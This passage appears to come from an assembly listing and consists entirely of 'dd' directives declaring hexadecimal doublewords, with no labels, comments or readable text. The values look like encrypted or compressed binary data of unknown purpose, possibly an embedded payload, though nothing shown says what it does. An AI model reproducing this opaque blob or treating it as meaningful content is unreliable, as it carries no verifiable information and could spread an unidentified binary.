9860FFBEh, 218082C8h, 915F7015h, 18AE7960h dd 793D3930h, 8D845B81h, 4191F215h, 0A6827DCCh, 0C908B429h dd 74E00213h, 0F5202364h, 0F3C897h, 459EDA77h, 0BBE4DFDEh dd 0CAF3F0Ch, 40BA50CCh, 451FD1A5h, 86BB62EBh, 0B5A1ED8Bh dd 0C06F7518h, 1B2F7C69h, 92007651h, 918CA443h, 455CCD3h dd 73E9B66Eh, 88A48EF5h, 4BBEC072h, 0D9FEAF71h, 0B99BE301h dd 6D552C54h, 2EC8C04Bh, 0D7E4FAC0h, 0EE6C011Ah, 0EB2FA827h dd 84718366h, 98624C69h, 3D6F33B7h, 2307182Bh, 0C0305F2Ah dd 0E105E9BDh, 17074A90h, 0D707A963h, 28415E66h, 3BE8BF0h dd 341B9B50h, 0A4C4266Ch, 0F8006488h, 0BC80C3EFh, 21D4DDh dd 51FE986h, 9DDCDFB1h, 0FEC44804h, 498B413h, 0D0180871h dd 0C4708F1Dh, 43180759h, 3203A530h, 0B864EB1Bh, 0FACDA800h dd 322E64ECh, 587DB09Ch, 0CA16F083h, 8C9041F9h, 204265B8h dd 9A165C10h, 9C402345h, 620CC7C9h, 3A074B6Dh, 0B1231Ch dd 9EF8DBF5h, 0DA000BCBh, 41FFE14h, 1F4AE745h, 3B5AFFA3h dd 748CC926h, 0B9001E46h, 0E2FC9EABh, 93519B96h, 5AB6F47Ch dd 7104D700h, 0E24EFC52h, 6C7304D0h, 0B31491B4h, 3093B284h dd 0ED00E5D3h, 0DB334055h, 2387EB6h, 0E643C1FCh, 0D8C764BCh dd 28607AE4h, 0F200D944h, 0A0321485h, 0EA2C9D5Bh, 8DDCA878h dd 6294A123h, 0AE840119h, 8B9044CEh, 0DCF700B4h, 4D586CC5h dd 0A1A40FBCh, 0AAA43E01h, 76E08092h, 4940764h, 0C73465Eh dd 694541D8h, 0C2D403E3h, 215B026Ch, 0E17201E8h, 0A81F2477h dd 0AC864F33h, 74161EAh, 0BDCC7873h, 622300C8h, 0BE0906E1h dd 60160DB7h, 24E2D174h, 849038F9h, 0A2EE5F8Ch, 302FF21Ch dd 6E00E632h, 97B17F19h, 15DC3EAFh, 0EC81CF67h, 11684B03h dd 2FE80AEBh, 75D0540h, 5FBB19BCh, 65D00C08h, 1E43ADAh dd 15038F3Ch, 7C684A0Ah, 7481ABCBh, 100339h, 4A323621h dd 6734CC77h, 64F5021Fh, 0EE715A00h, 75B3B87h, 0F4CE09FFh dd 1D0C849Bh, 68F3B8C0h, 22436AFh, 831C702Ah, 1A008E9Fh dd 6FDD5E8Fh, 44006061h, 0FC4EBFF1h, 120DA06h, 6008CAE4h dd 0D9222146h, 0AE00FFBFh, 0A87E3518h, 3E1115Fh, 0E697E577h dd 99C6086Dh, 7BDD6C18h, 0BD5939h, 0B4F05AADh, 0F293C6CCh dd 91B21B00h, 8B8962E9h, 67AA0021h, 0F3026B59h, 1B3B8AA3h dd 0F9416381h, 2B93A079h, 3E00698h, 691C800Ah, 0A6814C00h dd 0FF9941BEh, 0FA7907C0h, 9F0CB901h, 7FCFC3A0h, 1361AFA0h dd 0FD30CCA8h, 831B3886h, 7B1D6152h, 9942662Ch, 0A825E585h dd 0D811D0B8h, 564A829Eh, 0F31317Ch, 4A883413h, 0E000B820h dd 6A732A87h, 60F7B223h, 0A57ED84Fh, 0C63D254Ch, 0C18781B8h dd 0FFE656F9h, 5C0C9083h, 7B90F7DFh, 4E791562h, 9203B601h dd 178598FCh, 6C8F40E6h, 0F3F73FF6h, 0BE52D0E1h, 6DA8EC3Dh dd 8C9D60C3h, 0A910909h, 42283FCh, 0D040054Dh, 0BB148E10h dd 18A49C77h, 6D2085B5h, 0A8265404h, 7883330Bh, 5DC21B21h dd 0F013104Ch, 8E154FBFh, 804A8810h, 19BFD823h, 6F005002h dd 46A02E6Eh, 0F783A7FAh, 0D01B081h, 808B9D52h, 0B66BAF99h dd 7891FFDh, 41087920h, 21974621h, 0B653C609h, 352F00CAh dd 61839DF9h, 0A7F6E102h, 0D8598143h, 0BBDFB025h, 8DFFB881h dd 4474B792h, 63E41FBCh, 554A0D01h, 0E18397Ch, 4AC43589h dd 3C27171h, 0B4F81150h, 0C0C18E1Fh, 0F4FFE48Fh, 5ED5210Eh dd 9F2C7465h, 7C6B4941h, 130CAAE9h, 74388h, 8B1D2E4Ah dd 16E797E6h, 2C374D01h, 17624BE2h, 0DC034021h, 884FFCF9h dd 0C858D746h, 8922DC18h, 7C54E318h, 9F840095h, 3463D598h dd 40C101C6h, 8AB5F262h, 0BFF84884h, 23BC100Eh, 0B6570046h dd 21692009h, 0CAB24486h, 86B65F00h, 0D55CF2BFh, 25C50F8Ch dd 0D4C4BFCh, 0F449CB68h, 9E0A005Ch, 519B9A74h, 1CE44971h dd 0EC028C76h, 2FC5BBFh, 10401921h, 0BFD437h, 2BE8A856h dd 0B72C788Dh, 21C0E302h, 805A7BB2h, 0D9348680h, 94E09562h dd 1700241Bh, 0D4EF022h, 0A811E5DFh, 748A5B4h, 0C184603Ah dd 9C0A004Ah, 5004429h, 0F233326Ch, 7C9077D9h, 84A04447h dd 5E00817Fh, 0A47443E0h, 64FA60ECh, 8E64A127h, 0C096885Ch dd 931163E2h, 928D8B5h, 297FA01Fh, 85EB5801h, 70B1A423h dd 1EEA3305h, 0C087AC04h, 3052CCC2h, 5A11BFEDh, 4D88FAFCh dd 0BFD53680h, 7525DA92h, 0A19C3099h, 2379F289h, 6E27AA00h dd 87B5EBA3h, 929FE4B3h, 8DE40094h, 0D9BC58CAh, 884C99F7h dd 1C7722BCh, 73220463h, 0B1F3B399h, 33FA3805h, 0C041FAEh dd 1905AD47h, 0C4C881Eh, 8AB9760Fh, 581C1666h, 4D2C0022h dd 4085D6A2h, 8D698B59h, 4C1C9009h, 0FCA20045h, 9DA4FE55h dd 51C5BD80h, 6C1EFA0Ah dd 0DF3103D8h, 0B3B13CEEh, 4BEFDA03h, 9864493Dh, 4E603178h dd 58FAF1A2h, 4F17448Ch, 4EA24600h, 0BAC5A8CEh, 3B70C9Bh dd 0AE210667h, 7D6743Fh, 0DB1CFE8Eh, 43C22145h, 0EDE88539h dd 6CE39C60h, 80CB39D0h, 0F403B414h, 12ECF84Ch, 0E70B0F8Ch dd 0DD00514Fh, 7E5478F9h, 831C30CEh, 0E0D36E2h, 34B29EA0h dd 7FC58D83h, 194C3EE3h, 0A0AC2A95h, 0B9FDF704h, 3082C1CCh dd 0BFF2305Fh, 46FC593Ah, 21014822h, 8CC7BFDAh, 0B9DDDB4Eh dd 9BE438C1h, 0F5F20292h, 440D025Dh, 5502904Ch, 59200BB6h dd 10B01921h, 0B65DC8h, 0B35E65A6h, 0B797DDA1h, 21859B30h dd 1C15946Ch, 24F841D6h, 0F64B6194h, 5F04819h, 0A25A1F8Ch dd 887851EDh, 52438016h, 0C8CB8AA2h, 79029090h, 9A200619h dd 5BB0682Bh, 0D2341B42h, 83916008h, 6C782488h, 7E631801h dd 0FEE5D894h, 13FFA850h, 3D850056h, 1BAB5724h, 67141F3Ah dd 804C06F5h, 85ECA25Bh, 15448C70h, 0A2532642h, 0A07EC054h dd 98B13927h, 19D11C29h, 55F63C18h, 0F649F01h, 0FFC5D4A5h dd 0A02CF7DCh, 54FD0A2Ch, 3A20B884h, 845027CAh, 0FF70288h dd 8077DDE9h, 0BA00E844h, 0A00DD4C5h, 5283A581h, 10B27466h dd 289B8638h, 0FAACA703h, 0EE9704E4h, 88809E34h, 3377457Ch dd 0A8391864h, 212488C1h, 1C165BCCh, 0C5661D9Fh, 480D4F3Dh dd 4CC033B8h, 4685EFA2h, 2122248h, 47A2444Dh, 20C105E7h dd 8E4600Bh, 81DFE305h, 0B8016378h, 0C3930C74h, 8B1BA992h dd 0CB4D8894h, 0EB16805Dh, 0E2BEF86h, 85959A8Ch, 0C2C3BB23h dd 5B5E5809h, 91549767h, 949C8715h, 933824E0h, 0E7A8147Fh dd 2205EC28h, 1425FB2h, 0BBF7FAE4h, 53F84810h, 6A00D093h dd 711FFEB6h, 0AC448620h, 0B65200C5h, 0CA34E505h, 83008C4Ah dd 259CD227h, 0DDBFF390h, 444CCC0h, 0D606730h, 907469A1h dd 4C20920Bh, 0B1BC0C01h, 0E49D008Ch, 0A3900B1Ch, 0FE064411h dd 7003CA07h, 75C52CD8h, 0FFF78D08h, 45689179h, 62B65487h dd 96314120h, 0B65CCF10h, 0B2666003h, 9E9C8Ah, 7B986D19h dd 55ABE72Ah, 0D6F7C600h, 62D8E853h, 0A59E0563h, 8C335A85h dd 0CE63040h, 0FE23C8FFh, 0D7AA2112h, 0F0243C80h, 0C01750ABh dd 0F4E01608h, 0D4042263h, 6A4A8033h, 2C114A7Ch, 8064048h dd 25C9C4Ah, 8BCC2C9Ch, 0E2891D38h, 97E50400h, 0A64D16CEh dd 0A2030296h, 25F805D7h, 406790A5h, 1F608FD4h, 0C2E0E10Fh dd 8C9DB909h, 7E68A0F6h, 177FEE93h, 970CFBBh, 0CC0465E4h dd 0A7FC412Dh, 0D08E16C7h, 43CCC9B8h, 0F14EDCE8h, 30532822h dd 550BBFEEh, 162112FCh, 0D635002Ch, 0E696A5BFh, 7B09F997h dd 8124C604h, 0D083C3C0h, 0F5A189B1h, 1B92D8FBh, 4CE520C5h dd 819EAC9Fh, 1BA128F1h, 0C4E6C677h, 6047220h, 7A07C6Ch dd 2008F02Fh, 287B93AAh, 0BA030B2Dh, 581095CEh, 0DC306C8Fh dd 0BB45497Ch, 18C4FC1Bh, 58CDABFEh, 6D80118Ah, 67BF1088h dd 0F7221C1Dh, 0B8E42C5h, 0F04FA480h, 0E3400E49h, 76278962h dd 0F66E07C0h, 664D6951h, 0C73B878h, 9C9BC2DBh, 6A3E74B1h dd 0E854803Ch, 2E56FACBh, 8DB40913h, 60202F92h, 54460DBAh dd 9431E7h, 829E06E7h, 0A8AC096h, 649DFCEEh, 5900855Ch dd 0F2BD8DE5h, 92A6EAB3h, 30A55804h, 78BFB208h, 414E309h dd 696050D8h, 1F12FFB6h, 48CA2079h, 0B651C400h, 82A9770Ah dd 2B431309h, 6A0802AEh, 20445201h, 0F9F0BFEFh, 9BE060F3h dd 0B366E80h, 56A705F4h, 1511181Dh, 4213409Ch, 0AF055867h dd 7891767Ch, 0ED1841F1h, 6AF2FB00h, 67CEF637h, 3013F0E6h dd 25C80772h, 8B404FB8h, 0CE4909FAh, 0E09D78DCh, 62809711h dd 0B9EEA83Bh, 0D6F3E402h, 49CE2BFBh, 843CE544h, 6D0C16h dd 0AF31AB48h, 0CD4B381Ah, 0D200406Eh, 63DB9FEAh, 9B2C9DF2h dd 69E809h, 0B86DEE50h, 0AEF0087h, 0FA635CD7h, 2117907Eh dd 78442FA8h, 0F4C9B28Eh, 30D6EC42h, 0CC9049FEh, 0B032E14Eh dd 6422018h, 0CB3A584Ah, 6A7F80E0h, 23D00103h, 208F4F6Dh dd 779E0A08h, 1AF4BD13h, 4C88548Bh, 84143CC0h, 1DEA00F7h dd 13E07D65h, 0FD000C4Eh, 5448D888h, 51300A6Eh, 5472B0F7h dd 503010F2h, 0F9BB0063h, 8CB31BDEh, 47490D02h, 2568900h dd 0CC512088h, 0C99B4470h, 8CB65E01h, 6573B223h, 8C5CF8A9h dd 0E329A39Ch, 0FB008DE2h, 0E9BCC6D2h, 308B142Bh, 0A21A29Bh dd 0FFF29E6Ch, 8A390400h, 5C557BE2h, 236A244Ch, 0A3C180BCh dd 0A0BA0166h, 0A63E602h, 61DB0817h, 3C20E56Ch, 62343261h dd 30472731h, 0C2604664h, 62EE2F99h, 0DF54E40Fh, 303AD7BEh dd 0B8009723h, 0EC1FFDA8h, 5D43BC1h, 8194F22Ch, 8778CBE5h dd 2E986251h, 0DCD066h, 0E55E1B93h, 0E4635554h, 0AFEB7C09h dd 3638E89Bh, 0EE2F02E6h, 0B6332792h, 1498DCD8h, 98F7DE13h dd 0A49B6844h, 7CDC9116h, 4BF90088h, 0E424E1FAh, 47654007h dd 0B4FB600h, 0F4C76C0Dh, 0FAAD0041h, 0BF768CCDh, 161386F6h dd 0EC09D623h, 668000E5h, 2A0A0149h, 30803CF9h, 0B7C91F80h dd 7D3EBA5Fh, 4EB180A8h, 0D7ED0205h, 8BF7004Dh, 5DAE8AF8h dd 98B23615h, 465E0894h, 25080016h, 0D544EAA0h, 11C906Bh dd 0F1C26DE4h, 0FA0FB81Fh, 4A5A8080h, 589AFCE6h, 0F446A800h dd 8EB0CDD1h, 29382F6Ah, 56D7803h, 488561F6h, 0D36011C4h dd 911689E6h, 0B83F5081h, 80001323h, 2166FCD6h, 0BC49FC82h dd 0E44DB800h, 9800F3B8h, 2392FA2Eh, 0C37CDBCAh, 0C48F7450h dd 2280D0E3h, 8C0689C0h, 52F79A21h, 5EC27520h, 907C00B3h dd 0C046EE40h, 450BB114h, 2E304848h, 5B40807Ch, 8005B24Ch dd 0A05B746Bh, 215FDC49h, 3E819E88h, 517C3824h, 0DC24DAC0h dd 0C8B38C82h, 4852958h, 0DC6D0245h, 80C94972h, 8DDBC68h dd 3C350082h, 0CF95833Ah, 7B0F9250h, 2F861F88h, 140B522Ch dd 0B9201404h, 60EC5BB4h, 295AD29h, 519612BBh, 0CCD0F24Ch dd 0A3930B09h, 5C08C99Eh, 0BF08D718h, 0C4CAFC4Ch, 0DF244041h dd 2C2529BFh, 1FEEE3Eh, 6DBEA3B0h, 242D04h, 0FD1CD58Dh dd 2DFA13E4h, 0B0000633h, 63A7899Ch, 0B401245Fh, 6AE0DA8Dh dd 8C326470h, 0F0A24F05h, 70A25085h, 0A2474EC0h, 5202E3A3h dd 0FBB309E7h, 0B29E187Ah, 3D016E7Eh, 9962C20Ch, 0C1876DDFh dd 91517Fh, 890EDA8Ch, 0C32A8A01h, 92CF90A4h, 4D2BDC30h dd 8D0148F6h, 0C94549CDh, 0A18892Ah, 0A2688FF4h, 1C03F93h dd 6C6775FAh, 8C15B80Ch, 4F010AF6h, 7FEC7E6Eh, 0A86C97A8h dd 291E8018h, 0A4E8CFFEh, 0F237DC00h, 0E120E0D8h, 6182004Ch dd 0BA7DDBE2h, 330246D9h, 8221751h, 73F4F95Eh, 3D9E60ECh dd 271814E5h, 6A12D809h, 0F81CD008h, 8F82382Bh, 0A129198h dd 229890F0h, 5B4B2BB2h, 3FC2802h, 0A00F8CAh, 0C1248025h dd 0D89E0194h, 0E81CEBBCh, 5D13ED58h, 8C18068Fh, 28347C21h dd 0B0F6FEh, 235EB21Bh, 8F78E9CEh, 0AB4720BEh, 0A07C0388h dd 98042743h, 71979220h, 4F53F8F4h, 23143B16h, 783700B0h dd 0FAA069C7h, 5BBB970Ch, 7F5A0B3h, 540A5EDEh, 8E4527F1h dd 88FC8B12h, 0D9D2C095h, 1C916288h, 0CC3B1A16h, 18002923h dd 0D97B9DFAh, 0FE7901DEh, 0F81C0E99h, 60805733h, 6797EC82h dd 0F0BC2098h, 3D10465Ch, 0F6E92F6h, 0BB87EC20h, 0E2D8A817h dd 0CB024A4Eh, 0C018C82Ch, 52C7B6Eh, 0E8D93201h, 35063D53h dd 5213330h, 92244E9Fh dd 7CE0013Bh, 6C1F97F0h, 0A838D020h, 86008C0Dh, 3F2F97C5h dd 4A27C7FAh, 0C8E08E2Eh, 198C094h, 9102B21Ch, 0BF75AA1Dh dd 64D06765h, 0A92E6019h, 6F0E07E5h, 402FEDF9h, 0C8CA60Ah dd 0E82FD14Ah, 2B004D23h, 0B6CCC562h, 45E29F04h, 5E54D868h dd 813A0525h, 627D1B98h, 2216398Eh, 86F7DF63h, 889C1018h dd 78DECF1h, 0E46562EBh, 0E5752003h, 0C37C4481h, 10BC9695h dd 26F46F05h, 465EE866h, 16007315h, 0E55B4906h, 9757BF89h dd 0CA22C800h, 14BA3DFFh, 0D888212h, 0B1B204B3h, 26C42230h dd 22C9812h, 47A87E62h, 347ABC6Ah, 470D3225h, 60AC6494h dd 678D22h, 60ED962h, 8618B5B0h, 249A937Eh, 434BE204h dd 90AD95E1h, 2310D8D0h, 1BDC1656h, 7A521497h, 2324D217h dd 0CD256B37h, 7968C07Ch, 0DF4A85F8h, 0A4E20CD5h, 0BE3040F2h dd 1F827D5Dh, 5C5496BBh, 49455EB8h, 0EC799942h, 0A07E0C02h dd 134C6407h, 4248C7AAh, 3947C8E4h, 0A7C9A200h, 6874814Fh dd 18CB9224h, 0EFC0ACC8h, 42CF5Fh, 0F3FD3B44h, 891C1D34h dd 0C4C17A6Bh, 9FD304D0h, 0C1D91175h, 0AC47F8h, 30E82317h dd 5316FDFh, 88001D92h, 1813443Ch, 16EDCB52h, 917509FBh dd 8F4786Ch, 58048C07h, 6885EBA2h, 4107808Eh, 0B0C8A250h dd 94663093h, 2EE85458h, 0F3080CFEh, 13E8160Eh, 0C89C138Ch dd 6D00F06Ch, 9D84F64Eh, 3B63F36h, 67CBDEDFh, 85C25D6Ch dd 4A795071h, 0C2009318h, 0A1C343A5h, 1389F7EDh, 424E8165h dd 0FF9B8570h, 0D50748D0h, 37B0078Eh, 489710CCh, 6D1CACF8h dd 9A5ED264h, 92C0C05Ch, 4D32FF63h, 524F5088h, 0C0CC9A78h dd 0D82DF6Dh, 0DA481211h, 0C014A4AAh, 382BB122h, 284CA27Eh dd 18C97BCh, 9E9CD034h, 0C2E547B3h, 0DC3474h, 0C8F6D090h dd 9D81910Eh, 6BF07F08h, 3C0B273Eh, 0A4C0486Dh, 583892CFh dd 46E828CDh, 0DE15008Ch, 0A7F43E96h, 90C014BBh, 33455DDFh dd 886D5CEFh, 808CB978h, 85ED0D4Fh, 0A0995918h, 9C18B3D1h dd 5D00C570h, 0DA403BBFh, 76B1A02Bh, 5ED4A2FFh, 0BC4DEBC0h dd 2C34F740h, 22C30189h, 0F6DC080h, 1B182419h, 0BC9B76F8h dd 6C98FC09h, 4BFA3E98h, 0BC24C14Bh, 0A29C33F4h, 0B3B304Ah dd 4F16B104h, 9980F994h, 0BC01B49Fh, 73442B28h, 0A22FB1EFh dd 1B82F868h, 0E1040297h, 792CD113h, 8918ACh, 0B251B42Dh dd 569F6C12h, 0BB62DD05h, 0CB4B0B1h, 0EC788A36h, 0A41D812Ah dd 80FC3C3Eh, 0AD03E8FAh, 128BDD4h, 23CD6E49h, 79B6E4F5h dd 9E6301BCh, 0A189C6B0h, 2DFCA024h, 0B000862Bh, 0A9839825h dd 762DC89Ah, 3C9800EFh, 0FE575A21h, 9675AB3h, 0F8450D2Ch dd 0B860B1E4h, 0D702F3D2h, 0DCEE858Eh, 0AD4A075h, 525F010h dd 5B520D0h, 6724B4EFh, 28808894h, 2C3FB12Bh, 0ECFF004Ch dd 76DCD37h, 0B8B4F7BAh, 144676h, 0C46699C8h, 17BB6390h dd 94B5A1C2h, 0FB980070h, 8EA481EDh, 0FA475C08h, 5A6A4233h dd 0FD365040h, 372E5C90h, 6210CCCCh, 0A060F6D2h, 54DD6357h dd 1C78C70h, 0B0469F56h, 0E0074A31h, 4B059D18h, 0CF98E4FEh dd 498848CEh, 4D16BCC0h, 67272DE3h, 546DE424h, 8C96E8F4h dd 34AC2F05h, 989460C9h, 0DECA0EDh, 45423400h, 13A29A94h dd 5E0CB468h, 18020F46h, 9445E91h, 1BD99FC0h, 0EF1CBA79h dd 0A356B397h, 0B02010D0h, 0E95CFh, 5848BBCBh, 0A885382h dd 2F4891F1h, 0A87E6498h, 84050727h, 3A566624h, 162348h dd 7991E4A4h, 0E527A9CAh, 9058689Bh, 14E8F933h, 63A305C6h dd 827E6CE4h, 0DC5C1973h, 475C388h, 0F24EFA54h, 3012F290h dd 6E091D9Bh, 0D0224BFCh, 74620494h, 0C0A84EB6h, 51D52118h dd 999D9C30h, 0FEE9040h, 0C6BAABF1h, 0B00FA060h, 0C2E4156Bh dd 54D0F74Ah, 6FBCBEEh, 0EFB39DECh, 0D8B3A0F9h, 887170h dd 93D26022h, 94D0AF04h, 172CF40Fh, 0B71E1D7Eh, 0F0CBA600h dd 8CEC49h, 770651EDh, 0C424E91Dh, 0BD14C600h, 0D316182Dh dd 0E1CE0031h, 9A74AD05h, 64FC1001h, 0A348FC61h, 509D6879h dd 0D66CC6F4h, 1F00200Bh, 78BF55AAh, 0A03D2BFAh, 18F4FE1Ch dd 90989F7Fh, 4F00B4B7h, 511E12EFh, 6615BB50h, 21B00839h dd 0EF47D700h, 5CEDEB67h, 0A3A1036Eh, 0A9C81569h, 6121D29Bh dd 0DCF4066Dh, 753E9136h, 0C5DB8070h, 38ADBA72h, 76A42AA0h dd 8BF40C80h, 0F8699D9Fh, 0DB8CC900h, 0FAD70E3Ch, 16BF5C47h dd 0ED8A9406h, 57B068C7h, 15CE5B01h, 7EF4FF48h, 84E6448h dd 491E11EFh, 0D640ACC4h, 7CF0EF46h, 0FB3D410Ah, 948EA07Dh dd 0CEB1EA0Ch, 58B23E1Dh, 0EF523082h, 691E1511h, 0DA80A888h dd 1DFFEF4Ah, 0E4093092h, 436B8CA8h, 0ECB17E00h, 3831D8A9h dd 3CF07Ch, 1D7FE4BFh, 3283A419h, 7410DCA4h, 487EFC5Ah dd 4867ACB2h, 0DCEBD196h, 4C29802Fh, 0B5545816h, 0F8B90733h dd 46B8FBADh, 73002147h, 2996580Eh, 8DE253h, 8010997Ch dd 4695221Ch, 44BB1424h, 0B7EED780h, 0CE94086h, 0D9383018h dd 21C0D308h, 0E0B7E6F9h, 733001Eh, 3F9D6C25h, 523A423Bh dd 9A9B0356h, 0C51546h, 0C985FE31h, 0C74ECFA3h, 0A8537F00h dd 0BE2ACC7Dh, 0DC0931A9h, 0F41D8BD0h, 211460A6h, 80484A95h dd 408AB7F2h, 22194309h, 0EAFD00CDh, 7D4FAFB7h, 9028C97Eh dd 0A00FACB3h, 0D42BEC47h, 18123DCh, 1E14EF51h, 88A91861h dd 0EF0049D9h, 0B55513D2h, 911CAE4Ch, 0D69D089Ch, 9CA08D06h dd 0F0C97431h, 6AFF020Eh, 465642DBh, 19AB843h, 13B3F200h dd 2E030C63h, 0B7B9BC17h, 35EF1F03h, 0ADE74h, 8A46E728h dd 17A2216h, 0B568D160h, 0D608C644h, 15620E20h, 91F8419Bh dd 3B005B09h, 0D3253953h, 0AB55602h, 31DDB8BBh, 421180FCh dd 180C37F5h, 9AEFB02h, 40568EB5h, 44DDEA20h, 0A00B6235h dd 87F099DFh, 16A531BCh, 0E7289C19h, 12023426h, 13B55058h dd 6F104031h, 56C0580Ah, 0E1B220A9h, 0B9C8C0C4h, 13E4983Ch dd 7D46349Ah, 10EF4D02h, 0B131411Eh, 2045D511h, 0CF0F35E0h dd 80713E0Ah, 78265FF8h, 0FEBC24ECh, 0AF465ECCh, 734EE307h dd 0E096B708h, 0C95407AAh, 122E8001h, 7CDB307Eh, 27000432h dd 6F9DE5CFh, 0BC985D58h, 0EABF3204h, 7C818A36h, 5E013D5Ah dd 4460202Ch, 0B7EC048Ch, 8ED94084h, 0E4F700A8h, 542E26B7h dd 6A50E43h, 4898103Ch, 0FD33DDh, 0F387E98h, 7DF308D7h dd 0B658C102h, 4A427440h, 804EFE30h, 3E36C981h, 0A448DC33h dd 8CD4E8h, 1AFFDCC9h, 8EE1B999h, 1E2E4E02h, 68D745AAh dd 1FB8BE8h, 940736B3h, 82CB597Ah, 1E6C3718h, 7D54401Ah dd 0B834642Dh, 89E8C8DCh, 38385Ch, 4B9A9F1Ch, 58884292h dd 7AF05C53h, 8482B8E3h, 1160E640h, 0B5234F58h, 0E42110Bh dd 158096Eh, 0E8204B54h, 4092A030h, 19EA1FFDh, 0E923C742h dd 52581401h, 481823B5h, 0C7188h, 93A2CE58h, 0E3A33CA4h dd 218D3600h, 0ADF0201Eh, 0F595359Ah, 7C4808C0h, 0FEF4CC0h dd 2239461Eh, 44D400ABh, 9CBD66EFh, 5301C6A9h, 0A49237EBh dd 84512079h, 0D450C414h, 3A0C6113h, 0CD00C833h, 1BD306C6h dd 0A4000DBFh, 0F31624B3h, 484AE977h, 0A8400483h, 848F7478h dd 3F60E8ADh, 0C0A29F8Ch, 82AE43B1h, 0C9006037h, 655005BDh dd 2E8CC7CCh, 418DBAAh, 0C8BB157Ah, 8CAB3694h, 94C875BBh dd 143054E8h, 1082D1C2h, 797100ABh, 932E777Fh, 0B7775AF0h dd 0AD54EE00h, 0D6B4A098h dd 13FA7AD9h, 10F618F2h, 9045700Eh, 64CBBC44h, 5FC7D1C8h dd 737DD550h, 0EDE30C7Fh, 0DC21CB14h, 4353200h, 0BBE86E8Fh dd 4A0A034Dh, 0C41710B2h, 0AEB87B9Bh, 0EED46C2Fh, 0DDF30430h dd 5C8FB757h, 90C04088h, 4C283CF3h, 896894E3h, 0A912849Ch dd 0A4F083B8h, 1729D88Ah, 80CD1134h, 806090ABh, 0BB382EE1h dd 0F3B88640h, 5B76882Ah, 0E874925Ch, 0D01C8CABh, 1DCFAA9Ch dd 7FD5C016h, 1330B88Bh, 464618C6h, 0F1B20304h, 2A26B6F0h dd 0DD8C9C2Eh, 0FF193Fh, 0F0D98770h, 0E261E729h, 289EE07h dd 0E9A003D6h, 5634075h, 0E8769245h, 80789405h, 0F87D07BCh dd 841469C1h, 70E4ED7Ah, 759833DBh, 21000B09h, 0D67A7C34h dd 134CD9C4h, 465991BEh, 0F92F1570h, 0C274AC90h, 3024A481h dd 0F3058C4Bh, 11408BB7h, 0FE004CCEh, 5E15B7EBh, 9C50DB86h dd 1800D38Ch, 0B5667925h, 90F8363Ch, 0AAA3171Ch, 47C40804h dd 87B7EFC0h, 0E8F15340h, 0B7E7FA80h, 0A8B88249h, 0B250B173h dd 0E10375E8h, 4F0A7105h, 90F140FBh, 8B2C8C0Eh, 0A815C37Ah dd 800C8890h, 117A833Bh, 8F0AEA5h, 74EF802Ch, 1639A038h dd 3ABC14B5h, 0AF23E4h, 0B24BC233h, 750E7202h, 0CC29E074h dd 18275854h, 0C8A79CE9h, 0D7488C1Dh, 8C43E8A4h, 0BC7E8F00h dd 0E3247FB2h, 105F486Ch, 258C08BCh, 0C420DCCAh, 6B364D4Fh dd 1E3E2002h, 1E1C182h, 2186428Bh, 7E8DD048h, 97DB4825h dd 80AF91A4h, 75F204ABh, 0D6080138h, 6A51DA3Eh, 0F38C4052h dd 0A141BCE1h, 0DBE09076h, 0DE7F46F2h, 9600D1DDh, 0A4791BDDh dd 0FBD20E1Dh, 2B81F6A0h, 2005564Dh, 0B37EFA4Ch, 0F545AB12h dd 46C838CBh, 95612DC0h, 0D1C00924h, 84248D72h, 9BE8C053h dd 4C915F06h, 79180E79h, 57F28700h, 4065452Bh, 4E722022h dd 0C68D3003h, 2D8A17h, 86AD5A30h, 6D3B4219h, 87091E3h dd 0EE7A8583h, 0A3178CAh, 7AE83513h, 1D2E7CA6h, 5310B443h dd 410CAE24h, 2193763Bh, 7CF05090h, 0DD4C5696h, 0FB1F117Ch dd 0A0E17F04h, 0B6C9DAEh, 0C24888A8h, 5BE0C761h, 1C02A214h dd 8F57A074h, 0E43845FFh, 577260AEh, 7FE10445h, 0C184C141h dd 38A678h, 30C7041Fh, 3C1E61Ch, 4E4AB5EBh, 0E244884Eh dd 58263254h, 0ED773E70h, 21607D38h, 8F3F407Bh, 2468AF00h dd 8C964985h, 3BCD0BD0h, 949A5B3Dh, 0AC59CC51h, 7905AF18h dd 8DBAFE3Fh, 0E3905882h, 7C4F238h, 399F022h, 956123B0h dd 2A31C038h, 2C601025h, 8A940CB2h, 3B30C865h, 0A029396Fh dd 24E127EFh, 0E2D4A09Eh, 0B17E0C57h, 0F410B5A4h, 5023C84Ah dd 0EA22A469h, 13581530h, 8B2BB553h, 0D7200C4h, 23153E58h dd 0E0A2735Fh, 44DD4FE4h, 90C114D4h, 100B35DCh, 0C5DF4A00h dd 205E7191h, 3C314DAAh, 55428A09h, 600C6804h, 0F2F27A89h dd 11448C98h, 7A810139h, 7D6E8BAFh, 563C8E5h, 0FC27563Fh dd 17CD2025h, 8744918Ch, 4B7E7A90h, 666082DAh, 310C4009h dd 0F5EA28E4h, 28346F4h, 1E16EF53h, 10AA3171h, 1EF4BDBh dd 5D300CA4h, 890F923Ch, 4AB51F50h, 0BE73D760h, 0A2671DC4h dd 0B8C07551h, 8B0019C8h, 0BD817256h, 0E6E40D05h, 2E0761D0h dd 0AD38850Fh, 0E8355D3Bh, 0C02A3E80h, 30950153h, 5F5E1849h dd 36A085FFh, 0A9EE2960h, 660E2460h, 149D51BBh, 12B5FF61h dd 7B6BEB5Bh, 4012191Fh, 0C09D47E7h, 951AFF0Bh, 0DD5210C1h dd 1B717CD9h, 0CF000A18h, 0D6A7A45Ch, 160FDA05h, 0FB90F9BFh dd 0EBC2DADAh, 4C62F53Ah, 899A4380h, 276BD98Dh, 0CC6D77A0h dd 0D210C467h, 54398589h, 60E8AF08h, 8F78250Ah, 4005145h dd 0F3E692C4h, 0DC800F12h, 0BD89031Fh, 38012BA9h, 0EB9665Bh dd 0EC6B6139h, 8C1AB8E0h, 98FEC01h, 3717FC8Ah, 3EDDED6Eh dd 9FCE8031h, 0B82BFE65h, 40DE000Ch, 8B0F0D18h, 1C6C29BDh dd 415D0C82h, 883E4E04h, 0C6F4C018h, 0DB06EB22h, 231DBD0Bh dd 9589284Ch, 0EB74B773h, 60340CD6h, 0B506F98Bh, 4C2C3935h dd 9530F4ABh, 692139h, 0EB5E57F5h, 7E96D97h, 8A0F615Fh dd 0E6750B26h, 0FEF31CC5h, 0AA1241A9h, 40E95A5Bh, 1FF9FF38h dd 0C513F8FCh, 2100D1C6h, 3E41353Dh, 6DBC0021h, 89E52270h dd 1760059Dh, 0C8E96188h, 0BFF71F7h, 8531C18Bh, 14F2447Dh dd 0FA04EBF8h, 0B32595DFh, 6BCF8101h, 0EC237224h, 